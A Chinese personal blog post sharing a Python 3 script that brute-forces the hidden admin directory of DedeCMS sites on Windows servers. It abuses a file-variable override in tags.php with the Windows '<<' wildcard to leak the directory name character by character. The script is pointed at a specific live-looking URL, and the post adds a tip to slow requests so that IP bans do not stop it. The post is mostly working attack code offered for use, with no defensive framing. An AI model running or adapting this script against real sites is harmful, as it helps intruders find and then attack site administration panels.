酷帥王子'blog-

Python3版织梦dedecms后台目录猜解程序

2018-8-9 9:29 作者:酷帥王子 | python网络安全 |

适用于web服务器为windows的网站,亲测效果非常好,如果遇到网站设置了请求多次封ip的话,就调用time模块,在下面加sleep(),下面贴出代码


#!/usr/bin/env python
#coding=gbk  

'''/*
    * author = Mochazz
    * team   = tets
    * env    = pyton3
    *
    */
'''
import requests
import itertools
characters = "abcdefghijklmnopqrstuvwxyz0123456789_!#"
back_dir = ""
flag = 0
url = "http://www.9kb.org/tags.php"
data = {
    "_FILES[mochazz][tmp_name]" : "./{p}<</images/adminico.gif",
    "_FILES[mochazz][name]" : 0,
    "_FILES[mochazz][size]" : 0,
    "_FILES[mochazz][type]" : "image/gif"
}

for num in range(1,7):
    if flag:
        break
    for pre in itertools.permutations(characters,num):
        pre = ''.join(list(pre))
        data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=pre)
        print("testing",pre)
        r = requests.post(url,data=data)
        if "Upload filetype not allow !" not in r.text and r.status_code == 200:
            flag = 1
            back_dir = pre
            data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
            break
        else:
            data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
print("[+] qianzhuiwei:",back_dir)
flag = 0
for i in range(30):
    if flag:
        break
    for ch in characters:
        if ch == characters[-1]:
            flag = 1
            break
        data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=back_dir+ch)
        r = requests.post(url, data=data)
        if "Upload filetype not allow !" not in r.text and r.status_code == 200:
            back_dir += ch
            print("[+] ",back_dir)
            data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
            break
        else:
            data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"

print("houtai:",back_dir)


文章作者:酷帥王子
文章地址:https://www.2k8.org:443/post-7.html
版权所有 © 转载时必须以链接形式注明作者和原始出处!

评论列表:

评论时间:2019-11-29 20:27
能测试么

发表评论:



Powered by 酷帥王子

CopyRight © 2009-2016 酷帥王子'blog.  All rights reserved.